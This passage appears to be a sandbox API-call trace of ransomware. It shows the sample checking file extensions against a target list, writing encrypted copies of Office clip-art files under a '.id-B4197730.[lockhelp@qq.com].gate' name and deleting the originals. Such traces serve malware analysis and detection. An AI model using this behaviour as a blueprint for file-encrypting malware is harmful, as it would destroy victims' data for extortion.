Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0292.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0292.298] lstrlenW (lpString=".doc") returned 4 [0292.298] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0292.298] lstrlenW (lpString=".docx") returned 5 [0292.298] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1 [0292.298] lstrlenW (lpString=".pdf") returned 4 [0292.298] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0292.298] lstrlenW (lpString=".xls") returned 4 [0292.298] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0292.298] lstrlenW (lpString=".xlsx") returned 5 [0292.298] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1 [0292.298] lstrlenW (lpString=".ppt") returned 4 [0292.298] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0292.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0292.298] lstrlenW (lpString=".zip") returned 4 [0292.298] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0292.298] lstrlenW (lpString=".rar") returned 4 [0292.298] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0292.298] lstrlenW (lpString=".bz2") returned 4 [0292.298] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0292.299] lstrlenW (lpString=".7z") returned 3 [0292.299] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0292.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0292.299] lstrlenW (lpString=".dbf") returned 4 [0292.299] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0292.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0292.299] lstrlenW (lpString=".1cd") returned 4 [0292.299] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0292.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0292.299] lstrlenW (lpString=".jpg") returned 4 [0292.299] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0292.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0292.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0292.299] lstrlenW (lpString=".doc") returned 4 [0292.299] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0292.299] lstrlenW (lpString=".docx") returned 5 [0292.299] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1 [0292.299] lstrlenW (lpString=".pdf") returned 4 [0292.299] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0292.299] lstrlenW (lpString=".xls") returned 4 [0292.299] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0292.299] lstrlenW (lpString=".xlsx") returned 5 [0292.299] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1 [0292.299] lstrlenW (lpString=".ppt") returned 4 [0292.299] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0292.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0292.299] lstrlenW (lpString=".zip") returned 4 [0292.299] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0292.299] lstrlenW (lpString=".rar") returned 4 [0292.299] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0292.299] lstrlenW (lpString=".bz2") returned 4 [0292.299] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0292.299] lstrlenW (lpString=".7z") returned 3 [0292.299] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0292.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0292.300] lstrlenW (lpString=".dbf") returned 4 [0292.300] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0292.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0292.300] lstrlenW (lpString=".1cd") returned 4 [0292.300] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0292.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0292.300] lstrlenW (lpString=".jpg") returned 4 [0292.300] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0292.300] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0292.300] lstrlenW (lpString="DD00255_.WMF") returned 12 [0292.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00255_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0292.301] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=2690) returned 1 [0292.301] CloseHandle (hObject=0x4b0) returned 1 [0292.301] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00255_.wmf")) returned 0x220 [0292.301] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00255_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0292.301] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00255_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0292.301] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0292.302] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0292.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00255_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4fc [0292.302] GetLastError () returned 0x0 [0292.302] ReadFile (in: hFile=0x4b0, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0xa82, lpOverlapped=0x0) returned 1 [0292.463] WriteFile (in: hFile=0x4fc, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xa90, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xa90, lpOverlapped=0x0) returned 1 [0292.464] ReadFile (in: hFile=0x4b0, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0292.464] WriteFile (in: hFile=0x4fc, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0292.464] SetEndOfFile (hFile=0x4fc) returned 1 [0292.464] CloseHandle (hObject=0x4fc) returned 1 [0292.465] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0292.465] SetEndOfFile (hFile=0x4b0) returned 1 [0292.469] CloseHandle (hObject=0x4b0) returned 1 [0292.469] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0292.469] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00255_.wmf")) returned 1 [0292.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0292.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0292.470] lstrlenW (lpString=".doc") returned 4 [0292.470] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0292.470] lstrlenW (lpString=".docx") returned 5 [0292.470] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0292.470] lstrlenW (lpString=".pdf") returned 4 [0292.470] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0292.470] lstrlenW (lpString=".xls") returned 4 [0292.470] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0292.470] lstrlenW (lpString=".xlsx") returned 5 [0292.470] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0292.470] lstrlenW (lpString=".ppt") returned 4 [0292.470] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0292.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0292.470] lstrlenW (lpString=".zip") returned 4 [0292.470] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0292.470] lstrlenW (lpString=".rar") returned 4 [0292.471] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0292.471] lstrlenW (lpString=".bz2") returned 4 [0292.471] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0292.471] lstrlenW (lpString=".7z") returned 3 [0292.471] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0292.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0292.471] lstrlenW (lpString=".dbf") returned 4 [0292.471] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0292.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0292.471] lstrlenW (lpString=".1cd") returned 4 [0292.471] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0292.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0292.471] lstrlenW (lpString=".jpg") returned 4 [0292.471] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0292.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0292.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0292.471] lstrlenW (lpString=".doc") returned 4 [0292.471] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0292.471] lstrlenW (lpString=".docx") returned 5 [0292.471] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0292.471] lstrlenW (lpString=".pdf") returned 4 [0292.471] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0292.471] lstrlenW (lpString=".xls") returned 4 [0292.471] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0292.471] lstrlenW (lpString=".xlsx") returned 5 [0292.472] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0292.472] lstrlenW (lpString=".ppt") returned 4 [0292.472] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0292.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0292.472] lstrlenW (lpString=".zip") returned 4 [0292.472] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0292.472] lstrlenW (lpString=".rar") returned 4 [0292.472] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0292.472] lstrlenW (lpString=".bz2") returned 4 [0292.472] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0292.472] lstrlenW (lpString=".7z") returned 3 [0292.472] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0292.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0292.472] lstrlenW (lpString=".dbf") returned 4 [0292.472] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0292.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0292.472] lstrlenW (lpString=".1cd") returned 4 [0292.472] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0292.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0292.472] lstrlenW (lpString=".jpg") returned 4 [0292.472] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0292.472] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0292.472] lstrlenW (lpString="DD00407_.WMF") returned 12 [0292.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00407_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0292.510] GetFileSizeEx (in: hFile=0x4f4, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=7828) returned 1 [0292.510] CloseHandle (hObject=0x4f4) returned 1 [0292.511] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00407_.wmf")) returned 0x220 [0292.511] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00407_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0292.511] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00407_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0292.511] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0292.512] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0292.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00407_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0292.572] GetLastError () returned 0x0 [0292.572] ReadFile (in: hFile=0x4f4, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x1e94, lpOverlapped=0x0) returned 1 [0292.624] WriteFile (in: hFile=0x4e8, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0x1ea0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0x1ea0, lpOverlapped=0x0) returned 1 [0292.624] ReadFile (in: hFile=0x4f4, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0292.624] WriteFile (in: hFile=0x4e8, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0292.625] SetEndOfFile (hFile=0x4e8) returned 1 [0292.625] CloseHandle (hObject=0x4e8) returned 1 [0292.625] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0292.625] SetEndOfFile (hFile=0x4f4) returned 1 [0292.628] CloseHandle (hObject=0x4f4) returned 1 [0292.629] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0292.629] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00407_.wmf")) returned 1 [0292.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0292.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0292.630] lstrlenW (lpString=".doc") returned 4 [0292.630] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0292.630] lstrlenW (lpString=".docx") returned 5 [0292.630] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0292.630] lstrlenW (lpString=".pdf") returned 4 [0292.630] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0292.630] lstrlenW (lpString=".xls") returned 4 [0292.630] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0292.630] lstrlenW (lpString=".xlsx") returned 5 [0292.630] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0292.630] lstrlenW (lpString=".ppt") returned 4 [0292.630] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0292.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0292.630] lstrlenW (lpString=".zip") returned 4 [0292.630] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0292.630] lstrlenW (lpString=".rar") returned 4 [0292.631] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0292.631] lstrlenW (lpString=".bz2") returned 4 [0292.631] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0292.631] lstrlenW (lpString=".7z") returned 3 [0292.631] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0292.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0292.631] lstrlenW (lpString=".dbf") returned 4 [0292.631] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0292.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0292.631] lstrlenW (lpString=".1cd") returned 4 [0292.631] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0292.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0292.631] lstrlenW (lpString=".jpg") returned 4 [0292.631] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0292.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0292.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0292.631] lstrlenW (lpString=".doc") returned 4 [0292.631] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0292.631] lstrlenW (lpString=".docx") returned 5 [0292.631] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0292.631] lstrlenW (lpString=".pdf") returned 4 [0292.631] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0292.631] lstrlenW (lpString=".xls") returned 4 [0292.631] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0292.631] lstrlenW (lpString=".xlsx") returned 5 [0292.631] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0292.631] lstrlenW (lpString=".ppt") returned 4 [0292.631] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0292.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0292.631] lstrlenW (lpString=".zip") returned 4 [0292.631] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0292.632] lstrlenW (lpString=".rar") returned 4 [0292.632] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0292.632] lstrlenW (lpString=".bz2") returned 4 [0292.632] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0292.632] lstrlenW (lpString=".7z") returned 3 [0292.632] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0292.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0292.632] lstrlenW (lpString=".dbf") returned 4 [0292.632] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0292.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0292.632] lstrlenW (lpString=".1cd") returned 4 [0292.632] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0292.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0292.632] lstrlenW (lpString=".jpg") returned 4 [0292.632] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0292.632] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0292.632] lstrlenW (lpString="DD00448_.WMF") returned 12 [0292.632] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00448_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0292.633] GetFileSizeEx (in: hFile=0x4f4, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=2952) returned 1 [0292.633] CloseHandle (hObject=0x4f4) returned 1 [0292.633] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00448_.wmf")) returned 0x220 [0292.633] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00448_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0292.633] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00448_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0292.633] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0292.633] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0292.633] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00448_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0292.634] GetLastError () returned 0x0 [0292.634] ReadFile (in: hFile=0x4f4, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0xb88, lpOverlapped=0x0) returned 1 [0292.710] WriteFile (in: hFile=0x4e8, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xb90, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xb90, lpOverlapped=0x0) returned 1 [0292.711] ReadFile (in: hFile=0x4f4, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0292.711] WriteFile (in: hFile=0x4e8, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0292.711] SetEndOfFile (hFile=0x4e8) returned 1 [0292.871] CloseHandle (hObject=0x4e8) returned 1 [0292.872] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0292.872] SetEndOfFile (hFile=0x4f4) returned 1 [0292.874] CloseHandle (hObject=0x4f4) returned 1 [0292.874] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0292.875] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00448_.wmf")) returned 1 [0292.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0292.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0292.875] lstrlenW (lpString=".doc") returned 4 [0292.875] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0292.875] lstrlenW (lpString=".docx") returned 5 [0292.875] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 